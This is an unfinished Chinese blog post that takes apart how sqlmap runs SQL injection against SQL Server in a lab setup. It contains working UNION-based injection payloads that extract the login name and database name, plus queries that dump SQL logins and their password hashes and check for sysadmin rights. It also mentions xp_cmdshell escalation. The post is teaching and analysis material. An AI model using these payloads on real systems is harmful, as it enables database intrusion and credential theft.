通过sqlmap学习mssql注入(不写了)
实验环境:
windows 2008 + sql server 2008 + IIS7.5
mysql和mssql注入
之前写过一篇聊一聊 SQLMAP 在进行 sql 注入时的整个流程,文中主要介绍了mysql环境下sqlmap注入的整体流程。对于mssql的注入,sqlmap其实也是换汤不换药,整体流程我会在接下来的文章中一一道出。
判断注入类型
sqlmap判断依然是按照下面几个点来进行的:1
2
3
4
5
6
7--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: inline_query SQL injection(内联注入)
我将注入点扔进sqlmap,判断出的注入类型:
判断基本信息
为了方便查看sql语句,这里用burp suite设置代理抓包,sqlmap中添加参数:1
--proxy='http://127.0.0.1:8080'
基本信息查询
首先我们来看下当前的用户
判断出来用户为sa,我这里将payload解码1
id=1 UNION ALL SELECT NULL,CHAR(113)+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(113)+ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(122)+CHAR(113),NULL-- mJCg
这里可以看出sqlmap利用了联合查询注入的方式,我们将他分解开来1
2
3
4#首先可以看出sqlmap是判断出列的数量为3
id=1 UNION ALL SELECT NULL,NULL,NULL--
#然后将第二个NULL的值替换成
CHAR(113)+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(113)+ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(122)+CHAR(113)
我们再次分解这个NULL的值
关键能查出信息的还是ISNULL这句话
所以这里首先是将 SYSTEM_USER 转换成了char类型,这个时候ISNULL中的两个value都是char,然后就会返回第一个的值,也就是我们的SYSTEM_USER1
id=1 UNION ALL SELECT NULL,CHAR(113)+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(113)+ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(122)+CHAR(113),NULL-- zZox
同理sqlmap还可以查询(替换SYSTEM_USER)1
2DB_NAME() //当前数据库
@@SERVERNAME //主机名
(这里抛出一个问题让大家思考,sqlmap注入中一长串char字符是用来干什么的)
由于篇幅原因,这里贴出sqlmap检测中一些语句1
2
3select name FROM sys.sql_logins //查询所有用户
select master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_logins //查询所有的密码
select IS_SRVROLEMEMBER(xxxx) //判断是否为dba权限
xp_shell
参考链接
启动/关闭xp_cmdshell:https://www.cnblogs.com/songsz1/archive/2012/12/26/2833856.html
《Windows server 2008 r2》配置IIS7+asp.net:https://blog.csdn.net/liang_operations/article/details/89980023
SQL Server xtype的介绍:https://www.2cto.com/database/201307/230722.html
MSSQL注入提权的一些方法:https://www.cnblogs.com/FayJack/archive/2013/05/13/3075697.html
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:通过sqlmap学习mssql注入(不写了)
本文作者:sher10ck
发布时间:2019-11-10, 15:21:52
最后更新:2020-01-13, 12:49:15
原始链接:http://sherlocz.github.io/2019/11/10/如何通过sqlmap学习mssql注入/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。